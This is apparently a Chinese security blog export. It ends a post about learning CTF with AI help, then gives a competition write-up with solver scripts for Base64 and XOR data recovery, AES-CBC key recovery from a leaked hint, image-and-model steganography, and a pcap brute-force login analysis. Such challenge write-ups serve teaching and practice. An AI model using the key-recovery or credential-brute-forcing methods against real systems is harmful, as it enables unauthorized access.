AI：不可替代的核心竞争力 🤖 AI擅长的： - 知识检索（记住海量知识点） - 代码生成（写脚本快速准确） - 模式识别（识别已知算法） - 重复性工作（批量处理） - 多方案生成（提供N种思路） 🧠 人类擅长的： - 直觉判断（这题\u0026#34;感觉\u0026#34;不对劲） - 创造性思维（全新的攻击角度） - 上下文理解（理解出题人意图） - 战略规划（比赛时间分配） - 价值判断（哪个方向值得深入） - 经验迁移（这题和XX年那道相似） - 灵活变通（AI卡住了换思路） 💡 未来的赢家： 不是\u0026#34;人类\u0026#34;，也不是\u0026#34;AI\u0026#34; 而是\u0026#34;善用AI的人类\u0026#34; 公式： 普通人 + AI = 进步较快的人 聪明人 + AI = 超强的人 懒惰的人 + AI = 依然懒惰 正确的成长路径 阶段1：借助AI入门（现在） 目标：快速了解CTF是什么 方法：跟着AI做题，理解思路 时长：1个月，完成20-30道题 标志：能参加比赛，不再完全懵逼 阶段2：减少AI依赖（1-3个月） 目标：培养独立解题能力 方法：先自己想，实在卡了再问AI 时长：3个月，完成50-100道题 标志：简单题能独立完成 阶段3：与AI协作（3-6个月） 目标：形成自己的方法论 方法：你主导，AI辅助验证 时长：持续练习，参加5-10场比赛 标志：有自己的解题风格 阶段4：超越AI（6个月+） 目标：AI是你的助手，不是老师 方法：用AI处理琐事，你做决策 时长：长期积累 标志：能解出AI都做不出的题 最终目标： 不是\u0026#34;不用AI\u0026#34;，而是\u0026#34;善用AI\u0026#34; AI是你的外挂，但大脑是你的 行动清单：从今天开始 立刻可以做的（今天） ✅ 第1小时：注册AI账号 - Claude / ChatGPT / 千问 至少2个 - 测试能否正常对话 - 保存账号密码 ✅ 第2小时：注册CTF平台 - BUUCTF账号 - 攻防世界账号 - 浏览题库，感受难度 ✅ 第3小时：做第一道题 - 找个Crypto签到题 - 问AI怎么做 - 理解AI的思路 - 成功拿到flag → 成就感！ ✅ 第4小时：建立笔记系统 - 安装Obsidian - 创建第一个笔记：今天学到了什么 - 保存AI对话记录 ✅ 第5-24小时：持续练习 - 每完成一道题就记录 - 遇到问题就问AI - 感到疲惫就休息（重要！）尤其要保护眼睛和颈椎，少吃高嘌呤食物。 第一周计划 周一-周二：Crypto方向 - 完成5道编码转换题 - 完成3道古典密码题 - 建立Crypto笔记 周三-周四：Web方向 - 完成3道SQL注入题 - 完成2道XSS题 - 学习Burp Suite基础 周五-周六：Misc方向 - 完成3道图片隐写题 - 完成2道压缩包题 - 学习binwalk/strings 周日：复盘总结 - 整理本周所有笔记 - 更新知识库索引 - 规划下周学习内容 第一个月目标 量化目标： ✅ 完成30道题（签到+简单） ✅ 参加1场在线比赛 ✅ 建立10条笔记 ✅ 熟练使用3个AI平台 ✅ 掌握5个常用工具 能力目标： ✅ 能独立解决Crypto签到题 ✅ 在AI辅助下解决Web基础题 ✅ 理解CTF的基本套路 ✅ 不再对比赛感到恐惧 ✅ 知道自己的优势方向 心态目标： ✅ 接受\u0026#34;做不出题很正常\u0026#34; ✅ 享受解题过程 ✅ 形成自己的学习节奏 ✅ 找到志同道合的队友 长期规划（供参考） 3个月： - 完成100道题 - 参加5场比赛 - 至少1个方向达到中级水平 6个月： - 完成200道题 - 稳定进入比赛中游 - 建立完整知识体系 1年： - 完成500道题 - 有机会冲击区域赛奖项 - 可以指导新人入门 记住： 这只是参考，不是必须完成的KPI 每个人节奏不同，找到适合自己的 全文完\n🎓 恭喜你读完了整个指南！ 📖 现在把它保存下来，随时查阅 💪 然后，开始行动 🚀 24小时后，你就不再是CTF小白了\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2026-01-04T16:06:04+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/aictfer.png","permalink":"/post/aictfer%E4%B8%80%E5%A4%A9%E9%80%9F%E6%88%90%E6%8C%87%E5%8D%97/","title":"AICTFer一天速成指南"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\n01 数据安全 4、数据存储1 题目名称: 数据存储1 分值: 100分 描述: 工程师小王开发了对数据处理的程序，分析程序功能，解密文件获取原始数据，提交第6行第2列数据。 文件分析 1. 附件内容 1$ unzip re87a57766.zip 2Archive: re87a57766.zip 3 Length Date Time Name 4--------- ---------- ----- ---- 5 3296 2025-12-02 05:20 info_19ff9a2.ori.en 6 14552 2025-12-02 05:19 re87a57766 2. 文件类型 1$ file re87a57766 2re87a57766: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 3 dynamically linked, stripped 4 5$ file info_19ff9a2.ori.en 6info_19ff9a2.ori.en: ASCII text, with CRLF line terminators 程序分析 1. 字符串分析 1$ strings re87a57766 | grep -E \u0026#34;(info|base64|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789)\u0026#34; 2 3ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 4./info_19ff9a2.ori 5info_19ff9a2.ori.en 关键发现：\n程序使用 Base64 字符表 输入文件：./info_19ff9a2.ori 输出文件：info_19ff9a2.ori.en 2. 加密逻辑推断 根据程序字符串和文件名：\n.ori → 原始文件（Original） .ori.en → 加密文件（Encrypted） 使用 Base64 编码进行\u0026quot;加密\u0026quot; 解密过程 1. 查看加密文件 1$ head -3 info_19ff9a2.ori.en 2MjY1MjMxNDY5NDEgNzA2MTYzMTk2MDIxMTU1NzIyIGE5ZWFjNzNAMWQzLmNuCg== 3MjY2MjEzODU2NTUgODg1ODgyMTk4ODMwMjU3MTgzIDE4Y2E3ZWU5QDI2MC5jb20uY24K 4MzU2MTk4ODY0NzQgNzQ3ODUyMTk3NTI5MTI3Njc5IDM1N2M2NUAzNGUuY29tLmNuCg== 2. Base64 解码 1import base64 2 3# 解码第1行 4line1 = \u0026#34;MjY1MjMxNDY5NDEgNzA2MTYzMTk2MDIxMTU1NzIyIGE5ZWFjNzNAMWQzLmNuCg==\u0026#34; 5decoded = base64.b64decode(line1).decode(\u0026#39;utf-8\u0026#39;) 6print(decoded) 7# 输出: 26523146941 706163196021155722 a9eac73@1d3.cn 数据格式: 手机号 身份证号 邮箱\n3. 完整解密脚本 1#!/usr/bin/env python3 2import base64 3 4with open(\u0026#39;info_19ff9a2.ori.en\u0026#39;, \u0026#39;r\u0026#39;) as f: 5 lines = f.readlines() 6 7decoded_lines = [] 8for line in lines: 9 line = line.strip() 10 if line: 11 decoded = base64.b64decode(line).decode(\u0026#39;utf-8\u0026#39;) 12 decoded_lines.append(decoded) 13 print(decoded) 14 15# 获取第6行第2列 16row6 = decoded_lines[5] # 索引从0开始 17columns = row6.split() 18answer = columns[1] # 第2列（索引1） 19 20print(f\u0026#34;\\n答案: {answer}\u0026#34;) 解密结果 第6行完整数据 25710876040 716896198829037493 ad7862@b7.com 数据分列 第1列（手机号）: 25710876040 第2列（身份证号）: 716896198829037493 第3列（邮箱）: ad7862@b7.com 答案 第6行第2列数据: 716896198829037493\n解题工具 1#!/usr/bin/env python3 2\u0026#34;\u0026#34;\u0026#34;数据存储1 - 快速解密工具\u0026#34;\u0026#34;\u0026#34; 3import base64 4 5def decrypt_and_get_answer(file_path, row=6, col=2): 6 with open(file_path, \u0026#39;r\u0026#39;) as f: 7 lines = [base64.b64decode(line.strip()).decode(\u0026#39;utf-8\u0026#39;) 8 for line in f if line.strip()] 9 10 target = lines[row-1].split()[col-1] 11 return target 12 13# 使用方法 14answer = decrypt_and_get_answer(\u0026#39;info_19ff9a2.ori.en\u0026#39;, 6, 2) 15print(f\u0026#34;答案: {answer}\u0026#34;) Flag: 716896198829037493\n6、数据隐藏(100分)： 题目描述：某汽车供应链物流中台正在进行季度数据归档，由于归档任务占用了主索引资源，运维团队启用了一套“底层应急索引机制”。该机制并不依赖 SQLite 原生的索引，而是设计了一套自定义的跨页链表协议，将关键筛选逻辑碎片化地存储在数据库文件的物理空闲块 (Freeblocks) 数据区中。 请检查 sys_config 表，获取底层链表的入口指针以及自定义链表节点的结构定义。根据结构定义，从底层物理空间中提取并重组出“特定批次货物筛选脚本”（SQL）。隐写数据位于 SQLite Freeblock 的有效载荷区（跳过 Freeblock 自身的 4 字节头部）。数据经过了异或处理，密钥与所在物理页号有关。运行提取出的脚本，定位出该批次雷达模组所在的 集装箱编号 (container_id) 和 车牌号 (license_plate)，最终需要将 container_id 和 license_plate 的后五位数字使用下划线连接提交，例如：CN2877541671_72345。\n题目分析 题目要求从SQLite数据库的Freeblock中提取隐藏的SQL脚本，执行后获取特定批次货物的集装箱编号和车牌号。\n解题步骤 1. 查看数据库结构和配置 1sqlite3 sqlite.db 查看 sys_config 表获取关键配置信息：\n1sqlite\u0026gt; .tables 2drivers orders sys_config warehouses 3 4sqlite\u0026gt; SELECT * FROM sys_config; 5recovery.pointer|ERR_PTR: 0000013B:04F0|Start address of emergency chain 6recovery.structure|Struct: \u0026gt;IHH (NextPage, NextOff, Len)|Custom header inside freeblocks 7recovery.encryption|XOR_PAGE_ID_BE|Encryption mode 2. 解析配置参数 recovery.pointer: 0000013B:04F0\n页号：0x13B = 315 (十进制) 偏移：0x04F0 = 1264 (十进制) recovery.structure: \u0026gt;IHH (NextPage, NextOff, Len)\n大端格式，4字节下一页号 + 2字节下一偏移 + 2字节数据长度 总共8字节自定义头部 recovery.encryption: XOR_PAGE_ID_BE\n使用大端字节序的页号作为XOR密钥 3. 编写数据提取脚本 创建 extract.py：\n1#!/usr/bin/env python3 2import struct 3 4# 读取数据库文件 5with open(\u0026#39;sqlite.db\u0026#39;, \u0026#39;rb\u0026#39;) as f: 6 data = f.read() 7 8# 获取页面大小 9page_size = struct.unpack(\u0026#39;\u0026gt;H\u0026#39;, data[16:18])[0] 10print(f\u0026#34;[*] 页面大小: {page_size} 字节\u0026#34;) 11 12# 配置参数 13entry_page = 0x13B # 315 14entry_offset = 0x04F0 # 1264 15 16extracted_sql = [] 17current_page = entry_page 18current_offset = entry_offset 19 20visited = set() 21max_iterations = 1000 22iteration = 0 23 24print(\u0026#34;[*] 开始遍历链表...\\n\u0026#34;) 25 26while iteration \u0026lt; max_iterations: 27 location = (current_page, current_offset) 28 if location in visited: 29 break 30 visited.add(location) 31 iteration += 1 32 33 # 计算物理地址 34 physical_addr = (current_page - 1) * page_size + current_offset 35 36 if physical_addr + 8 \u0026gt; len(data): 37 break 38 39 # 读取自定义头部 (8字节: \u0026gt;IHH) 40 header_bytes = data[physical_addr:physical_addr + 8] 41 next_page, next_offset, data_len = struct.unpack(\u0026#39;\u0026gt;IHH\u0026#39;, header_bytes) 42 43 print(f\u0026#34;[{iteration}] 页{current_page}+0x{current_offset:04X}: NextPage={next_page}, NextOff=0x{next_offset:04X}, Len={data_len}\u0026#34;) 44 45 if data_len == 0 or data_len \u0026gt; 10000: 46 break 47 48 # 读取加密数据 49 data_start = physical_addr + 8 50 if data_start + data_len \u0026gt; len(data): 51 break 52 53 encrypted_data = data[data_start:data_start + data_len] 54 55 # XOR解密：使用大端字节序的页号 56 page_bytes = struct.pack(\u0026#39;\u0026gt;I\u0026#39;, current_page) 57 decrypted = bytearray() 58 for i, byte in enumerate(encrypted_data): 59 key_byte = page_bytes[i % 4] 60 decrypted.append(byte ^ key_byte) 61 62 chunk = decrypted.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) 63 extracted_sql.append(chunk) 64 65 # 跳转到下一个节点 66 if next_page == 0 or next_page == 0xFFFFFFFF: 67 break 68 69 current_page = next_page 70 current_offset = next_offset 71 72# 输出完整SQL 73full_sql = \u0026#39;\u0026#39;.join(extracted_sql) 74print(\u0026#34;\\n提取的SQL:\\n\u0026#34; + \u0026#34;=\u0026#34;*70) 75print(full_sql) 76 77# 保存到文件 78with open(\u0026#39;extracted_sql.txt\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 79 f.write(full_sql) 4. 执行提取脚本 1python3 extract.py 提取出的SQL内容：\n1-- [EMERGENCY_INDEX] Lidar Batch Locator 2SELECT 3 t1.container_id, 4 t2.license_plate 5FROM orders t1 6JOIN drivers t2 ON t1.driver_id = t2.driver_id 7WHERE 8 t1.route_path LIKE \u0026#39;%深圳转运心%\u0026#39; 9 AND t1.weight_kg BETWEEN 45.50 AND 45.60 10 AND t2.phone LIKE \u0026#39;%9527\u0026#39; 11 AND t1.handling_code = \u0026#39;LIDAR_QC_HOLD\u0026#39;; 5. 执行SQL查询 1sqlite3 sqlite.db 1.mode column 2.headers on 3 4SELECT 5 t1.container_id, 6 t2.license_plate 7FROM orders t1 8JOIN drivers t2 ON t1.driver_id = t2.driver_id 9WHERE 10 t1.route_path LIKE \u0026#39;%深圳转运心%\u0026#39; 11 AND t1.weight_kg BETWEEN 45.50 AND 45.60 12 AND t2.phone LIKE \u0026#39;%9527\u0026#39; 13 AND t1.handling_code = \u0026#39;LIDAR_QC_HOLD\u0026#39;; 查询结果：\ncontainer_id license_plate ------------ ------------- CN2888991777 粤B-52816 6. 提取答案 根据题目要求，提取 container_id 和 license_plate 的后五位数字：\nCN2888991777 → 后5位：91777 粤B-52816 → 后5位数字：52816 Flag CN2888991777_52816 7、数据加密(100分)： 附件下载\n题目描述：某加密产品采用标准算法进行数据安全防护，某安全研究员通过逆向分析得到该产品的代码后发现，这段代码模拟了某商用密码库接口中可能存在的双重填充场景。请分析题目提供的代码文件，基于截获的密文及侧信道数据，恢复原始数据。\ntask.py 代码结构 1def padding(msg): 2 tmp = 16 - len(msg) % 16 3 pad = format(tmp, \u0026#39;02x\u0026#39;) 4 return bytes.fromhex(pad * tmp) + msg 5 6message = padding(flag) # 第一次填充 7hint = bytes_to_long(key) ^ bytes_to_long(message[:16]) # 侧信道泄露 8message = pad(message, 16, \u0026#39;pkcs7\u0026#39;) # 第二次填充 (PKCS7) 9IV = os.urandom(16) 10encryption = AES.new(key, AES.MODE_CBC, iv=IV) 11enc = encryption.encrypt(message) 已知信息 enc = 1ce1df3812668ce0bccd86c146cc56989681e128edd0676f5d26e01abdee90c860e22a5a491f94ac5ca3ab02242740fb8c35a3b60ea737ca0d2662fba2b0e299 hint = 32393f4e3c3c4f3e323a512a5356437d flag长度 = 38字节 flag格式: flag{...} key长度 = 16字节 双重填充分析 第一次填充（自定义padding）:\nflag长度: 38字节 38 % 16 = 6 需要填充: 16 - 6 = 10字节 填充值: 0x0a (10的十六进制) 填充位置: 前面 结果: [0x0a * 10] + flag = 48字节 第二次填充（PKCS7）:\n输入: 48字节 48 % 16 = 0 PKCS7规则: 即使整块，也要添加一个完整块的填充 填充: [0x10 * 16] = 16字节 结果: [0x0a * 10] + flag + [0x10 * 16] = 64字节 (4个AES块) 侧信道信息利用 Hint泄露:\n1hint = key XOR message[:16] 其中 message[:16] 在第一次填充后是:\n[0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, \u0026#39;f\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;a\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;{\u0026#39;, ?] 我们知道前15字节，只有第16字节未知（flag的第6个字符）。\n攻击步骤 步骤1: 爆破第16字节\n对于每个可能的ASCII字符 c (32-126):\n构造完整的16字节: known_15_bytes + c 计算密钥: key = hint XOR constructed_16_bytes 步骤2: 验证密钥正确性\n使用候选密钥解密，利用CBC特性:\nCBC解密: P[i] = D(C[i]) XOR C[i-1] 第一块: P[0] = D(C[0]) XOR IV (IV未知) 后续块: 可以正确解密（不依赖IV） 验证方法:\n解密第4块（最后一块） 检查是否为PKCS7填充: [0x10] * 16 如果匹配，说明密钥可能正确 步骤3: 恢复IV\n利用已知的第一块明文:\nIV = D(C[0]) XOR P[0] 步骤4: 完整解密\n使用恢复的key和IV进行完整解密:\nAES-CBC解密 去除PKCS7填充 去除第一次自定义填充 解密实现 1from Crypto.Cipher import AES 2from Crypto.Util.number import * 3from Crypto.Util.Padding import unpad 4 5enc = bytes.fromhex(\u0026#39;1ce1df3812668ce0bccd86c146cc56989681e128edd0676f5d26e01abdee90c860e22a5a491f94ac5ca3ab02242740fb8c35a3b60ea737ca0d2662fba2b0e299\u0026#39;) 6hint = int(\u0026#39;32393f4e3c3c4f3e323a512a5356437d\u0026#39;, 16) 7 8# 已知前15字节 9padding_1st = 10 10known_prefix = bytes([padding_1st] * padding_1st) + b\u0026#39;flag{\u0026#39; 11 12# 分割密文块 13blocks = [enc[i:i+16] for i in range(0, len(enc), 16)] 14 15# 爆破第16字节 16for byte_val in range(32, 127): 17 test_msg_block1 = known_prefix + bytes([byte_val]) 18 test_key = long_to_bytes(hint ^ bytes_to_long(test_msg_block1), 16) 19 20 # 使用ECB解密各块 21 cipher = AES.new(test_key, AES.MODE_ECB) 22 dec_blocks = [cipher.decrypt(b) for b in blocks] 23 24 # 检查最后一块是否为PKCS7填充 25 last_pt = bytes([dec_blocks[3][j] ^ blocks[2][j] for j in range(16)]) 26 27 if last_pt == bytes([0x10] * 16): 28 # 密钥正确！恢复IV 29 iv = bytes([dec_blocks[0][j] ^ test_msg_block1[j] for j in range(16)]) 30 31 # 完整解密 32 cipher_cbc = AES.new(test_key, AES.MODE_CBC, iv=iv) 33 plaintext = unpad(cipher_cbc.decrypt(enc), 16) 34 35 # 去除第一次填充 36 flag = plaintext[padding_1st:] 37 38 if flag.startswith(b\u0026#39;flag{\u0026#39;) and flag.endswith(b\u0026#39;}\u0026#39;): 39 print(f\u0026#34;Flag: {flag.decode()}\u0026#34;) 40 break 解密结果 Flag: flag{IADMIN-TOP-18880101-7634567_2025} 密钥: 38333544363645343830374632313834 IV: 8e3f1bd4fc5e355ee7f42faf0718491e 验证 密文结构:\nBlock 0: 1ce1df3812668ce0bccd86c146cc5698 \u0026lt;- [0a]*10 + \u0026#39;flag{I\u0026#39; Block 1: 9681e128edd0676f5d26e01abdee90c8 \u0026lt;- \u0026#39;ADMIN-TOP-18880\u0026#39; Block 2: 60e22a5a491f94ac5ca3ab02242740fb \u0026lt;- \u0026#39;101-7634567_202\u0026#39; Block 3: 8c35a3b60ea737ca0d2662fba2b0e299 \u0026lt;- \u0026#39;5}\u0026#39; + [0x10]*16 爆破命中:\n第16字节 = \u0026lsquo;I\u0026rsquo; (0x49) flag第6个字符 = \u0026lsquo;I\u0026rsquo; 9、数据泄露(100分)： 附件下载 题目描述：分析题目附件，获取陈淑华编号信息进行提交。\n5aeT5ZCNOumZiOa3keWNjiznvJblj7c6UzIwMjUxMDAxLOi6q+S7veivgeWPt+eggTo0NDE4ODEyMDAwMDUwMzY0NTA= flag：S20251001\n10、数据隐写(100分)： 题目描述：某黑客团伙将核心机密（flag）隐藏在一张普通图片中，并通过多模态 AI 模型建立了 “图片特征→流量特征” 的映射关系。该模型可将图片中的隐写特征转换为流量特征，而这些流量特征直接编码了 flag。现提供图片、AI 模型及提示信息，请你破解隐写信息，调用模型转换特征，最终还原出 flag。\n附件文件:\nsecret_image.png - 隐写图片 (775x482, RGB) multimodal_model.pth - PyTorch神经网络模型 stego_hint.txt - 提示文件 提示信息分析 隐写规则提示： 1. 图片的红色（R）通道中隐藏了模型输入特征； 2. 取图片左上角前20个像素的R值，计算 R值 mod 10 得到20维特征； 3. 20维特征输入multimodal_model.pth模型后，输出的数值取整即为flag的ASCII码； 4. ASCII码转换为字符即可得到完整flag。 模型提示： - 模型为轻量全连接神经网络（MLP），仅含3层线性层+ReLU激活。 解题思路 步骤1: 图片特征提取 根据提示，需要从图片提取20维特征：\n读取图片的R通道（红色通道） 提取\u0026quot;左上角前20个像素\u0026quot; 对每个R值取模10 关键问题: \u0026ldquo;前20个像素\u0026quot;的顺序是什么？\n可能的遍历方式：\n按行优先：从左到右，从上到下 按列优先：从上到下，从左到右 矩形区域：4x5, 5x4, 2x10等 步骤2: 模型结构分析 加载PyTorch模型检查点：\n1checkpoint = torch.load(\u0026#39;multimodal_model.pth\u0026#39;, map_location=\u0026#39;cpu\u0026#39;) 从权重张量推断模型结构：\n1input_dim = checkpoint[\u0026#39;fc1.weight\u0026#39;].shape[1] # 20 2hidden1_dim = checkpoint[\u0026#39;fc1.weight\u0026#39;].shape[0] # 64 3hidden2_dim = checkpoint[\u0026#39;fc2.weight\u0026#39;].shape[0] # 32 4output_dim = checkpoint[\u0026#39;fc3.weight\u0026#39;].shape[0] # 27 模型结构:\n输入层: 20维 → 64维 (Linear + ReLU) 隐藏层: 64维 → 32维 (Linear + ReLU) 输出层: 32维 → 27维 (Linear) 27个输出对应27个字符的ASCII码。\n步骤3: 遍历测试 由于\u0026quot;前20个像素\u0026quot;的顺序不明确，需要尝试不同的提取方式：\n完整解决方案 代码实现 1#!/usr/bin/env python3 2import torch 3import torch.nn as nn 4from PIL import Image 5import numpy as np 6 7# 定义模型结构 8class MultiModalModel(nn.Module): 9 def __init__(self, input_dim=20, hidden1_dim=64, hidden2_dim=32, output_dim=27): 10 super(MultiModalModel, self).__init__() 11 self.fc1 = nn.Linear(input_dim, hidden1_dim) 12 self.relu1 = nn.ReLU() 13 self.fc2 = nn.Linear(hidden1_dim, hidden2_dim) 14 self.relu2 = nn.ReLU() 15 self.fc3 = nn.Linear(hidden2_dim, output_dim) 16 17 def forward(self, x): 18 x = self.fc1(x) 19 x = self.relu1(x) 20 x = self.fc2(x) 21 x = self.relu2(x) 22 x = self.fc3(x) 23 return x 24 25# 加载图片 26img = Image.open(\u0026#39;secret_image.png\u0026#39;) 27img_array = np.array(img) 28 29# 加载模型 30checkpoint = torch.load(\u0026#39;multimodal_model.pth\u0026#39;, map_location=\u0026#39;cpu\u0026#39;) 31model = MultiModalModel() 32model.load_state_dict(checkpoint) 33model.eval() 34 35# 提取特征 - 按列优先（上到下） 36features = [] 37for row in range(20): 38 r_value = img_array[row, 0, 0] # 第1列，前20行 39 features.append(r_value % 10) 40 41features = np.array(features, dtype=np.float32) 42print(f\u0026#34;提取的特征: {features}\u0026#34;) 43 44# 模型推理 45with torch.no_grad(): 46 input_tensor = torch.tensor(features).unsqueeze(0) 47 output = model(input_tensor) 48 ascii_codes = output.squeeze().numpy().round().astype(int) 49 flag = \u0026#39;\u0026#39;.join([chr(code) for code in ascii_codes]) 50 51 print(f\u0026#34;Flag: {flag}\u0026#34;) 测试结果 测试不同的提取方式:\n方法 提取方式 结果 是否正确 1 按行优先（第1行前20列） ag\\au\u0026gt;//EZmco.rdi/]cZ0-/2w` ❌ 2 按列优先（前20行第1列） flag{A12I_shu1xin2bei_2025} ✅ 3 4x5矩形区域 ci^dw?00G\\per/tfk0bf\\1/13y` ❌ 正确的提取方式: 按列优先，即前20行第1列的R值\n特征向量 像素位置: (0,0), (1,0), (2,0), ..., (19,0) R值: 253, 258, 257, 252, 259, 251, 254, 250, 255, 256, ... 特征: 3, 8, 7, 2, 9, 1, 4, 0, 5, 6, ... 完整特征向量:\n1[3, 8, 7, 2, 9, 1, 4, 0, 5, 6, 8, 7, 9, 2, 1, 4, 0, 5, 3, 6] 模型输出 ASCII码: [102, 108, 97, 103, 123, 65, 49, 50, 73, 95, 115, 104, 117, 49, 120, 105, 110, 50, 98, 101, 105, 95, 50, 48, 50, 53, 125] 字符: f l a g { A 1 2 I _ s h u 1 x i n 2 b e i _ 2 0 2 5 } 答案 flag{A12I_shu1xin2bei_2025} 安全的多模态隐写 1# 正确的实现方式 2class SecureStego: 3 def __init__(self, key): 4 self.key = key 5 self.model = load_server_model() # 服务端模型 6 7 def embed(self, image, message): 8 # 使用密钥加密消息 9 encrypted = encrypt(message, self.key) 10 # 动态生成隐写位置 11 positions = derive_positions(self.key, image.shape) 12 # 嵌入加密数据 13 stego_image = embed_at_positions(image, encrypted, positions) 14 return stego_image 15 16 def extract(self, stego_image): 17 # 需要密钥才能提取 18 positions = derive_positions(self.key, stego_image.shape) 19 encrypted = extract_from_positions(stego_image, positions) 20 # 调用服务端API解密 21 message = api_decrypt(encrypted, self.key) 22 return message 02 数据分析 数据处理（第1题）： 分值：25分\n题干内容：\n请访问 http://139.224.55.37 下载考题附件，附件名称：数据处理.zip\n第一天上班的你去查看公司的流量监控记录，发现了一串非常奇怪的流量信息，你判断出这是黑客攻击所产生的流量，请你分析流量，找出泄露的信息。\n答案要求：\n提交泄露的管理员账号和密码，格式如：123/123\n解题思路 这是一道典型的流量分析题，需要从pcap流量包中找出攻击者的行为并提取关键信息。\n解题步骤 Step 1: 解压附件 1unzip 数据处理.zip 得到三个文件：\nattack.pcapng - 流量包文件（主要分析对象） #U5c45#U6c11#U4fe1#U606f#U8868.csv - 居民信息表 #U9898#U76ee#U4fe1#U606f.pdf - 题目信息 Step 2: 流量包基础分析 使用Wireshark或命令行工具查看流量包基本信息：\n1# 使用tshark查看协议统计 2tshark -r attack.pcapng -q -z io,phs 发现：\n总数据包数：3353个 协议类型：全部为TCP 主要端口：5000（服务器端口） Step 3: 识别攻击类型 通过分析TCP流量，发现大量重复的HTTP POST请求到 /login 接口：\n1import dpkt 2 3# 读取pcap文件 4with open(\u0026#39;attack.pcapng\u0026#39;, \u0026#39;rb\u0026#39;) as f: 5 pcap = dpkt.pcapng.Reader(f) 6 packets = list(pcap) 7 8# 分析HTTP POST请求 9for ts, buf in packets: 10 eth = dpkt.ethernet.Ethernet(buf) 11 if isinstance(eth.data, dpkt.ip.IP): 12 ip = eth.data 13 if isinstance(ip.data, dpkt.tcp.TCP): 14 tcp = ip.data 15 if b\u0026#39;POST /login\u0026#39; in tcp.data: 16 print(\u0026#34;发现POST登录请求\u0026#34;) 判断：这是一次暴力破解攻击（Brute Force Attack）\nStep 4: 提取暴力破解凭证 编写脚本提取所有尝试的用户名和密码：\n1import dpkt 2import re 3from urllib.parse import unquote 4 5credentials = [] 6 7for ts, buf in packets: 8 try: 9 eth = dpkt.ethernet.Ethernet(buf) 10 ip = eth.data 11 tcp = ip.data 12 13 if len(tcp.data) \u0026gt; 0: 14 data_str = tcp.data.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) 15 16 # 查找POST登录请求 17 if \u0026#39;POST /login\u0026#39; in data_str and \u0026#39;username=\u0026#39; in data_str: 18 if \u0026#39;\\r\\n\\r\\n\u0026#39; in data_str: 19 body = data_str.split(\u0026#39;\\r\\n\\r\\n\u0026#39;, 1)[1] 20 decoded_body = unquote(body) 21 22 # 提取用户名和密码 23 username = re.search(r\u0026#39;username=([^\u0026amp;]+)\u0026#39;, decoded_body) 24 password = re.search(r\u0026#39;password=([^\u0026amp;\\s]+)\u0026#39;, decoded_body) 25 26 if username and password: 27 credentials.append( 28 (username.group(1), password.group(1)) 29 ) 30 except: 31 pass 32 33print(f\u0026#34;共提取 {len(credentials)} 组凭证\u0026#34;) 结果：共提取到 261 组凭证\n暴力破解密码列表（部分）：\nadmin:1 admin:123456.com admin:123123 admin:idc123!@# admin:123 admin:aaa123!@# ... admin:Adm1n@2024#Secure!Pass ← 关键密码 Step 5: 识别成功的登录 分析HTTP响应，查找登录成功的标志：\n1# 统计HTTP响应的Content-Length 2response_lengths = {} 3 4for ts, buf in packets: 5 try: 6 eth = dpkt.ethernet.Ethernet(buf) 7 ip = eth.data 8 tcp = ip.data 9 10 # 只看服务器响应（sport=5000） 11 if tcp.sport == 5000 and len(tcp.data) \u0026gt; 0: 12 data_str = tcp.data.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) 13 if \u0026#39;Content-Length:\u0026#39; in data_str: 14 match = re.search(r\u0026#39;Content-Length: (\\d+)\u0026#39;, data_str) 15 if match: 16 length = int(match.group(1)) 17 response_lengths[length] = response_lengths.get(length, 0) + 1 18 except: 19 pass 20 21for length, count in sorted(response_lengths.items()): 22 print(f\u0026#34;长度 {length}: {count} 次\u0026#34;) 关键发现：\nContent-Length 出现次数 含义 5500 259 登录失败页面 189 2 302重定向（登录成功！） 1766301 1 登录后的数据页面 Step 6: 定位成功的登录凭证 查找返回302重定向的请求对应的凭证：\n1# 查找302响应 2for stream_key, packets_list in tcp_streams.items(): 3 for pkt in packets_list: 4 data_str = pkt[\u0026#39;data\u0026#39;].decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) 5 6 if \u0026#39;HTTP/1.1 302 FOUND\u0026#39; in data_str: 7 print(\u0026#34;找到302重定向！\u0026#34;) 8 print(data_str) 9 10 # 找到对应的POST请求 11 for req_pkt in packets_list: 12 req_str = req_pkt[\u0026#39;data\u0026#39;].decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) 13 if \u0026#39;POST /login\u0026#39; in req_str: 14 # 提取凭证... 成功的HTTP响应：\n1HTTP/1.1 302 FOUND 2Server: Werkzeug/3.1.4 Python/3.12.12 3Date: Tue, 09 Dec 2025 03:06:18 GMT 4Content-Type: text/html; charset=utf-8 5Content-Length: 189 6Location: / 7Vary: Cookie 8Set-Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.aTeSKg.wNp00wl0i77Wq6sQpxH_rHrjtT8; HttpOnly; Path=/ 9Connection: close 对应的登录请求：\n1POST /login HTTP/1.1 2Host: 172.16.4.135:32768 3Content-Type: application/x-www-form-urlencoded 4Content-Length: 48 5 6username=admin\u0026amp;password=Adm1n%402024%23Secure%21Pass URL解码后：\nusername=admin\u0026amp;password=Adm1n@2024#Secure!Pass Step 7: 验证Flag Flag格式：用户名:密码\nFlag: admin/Adm1n@2024#Secure!Pass\n解题脚本 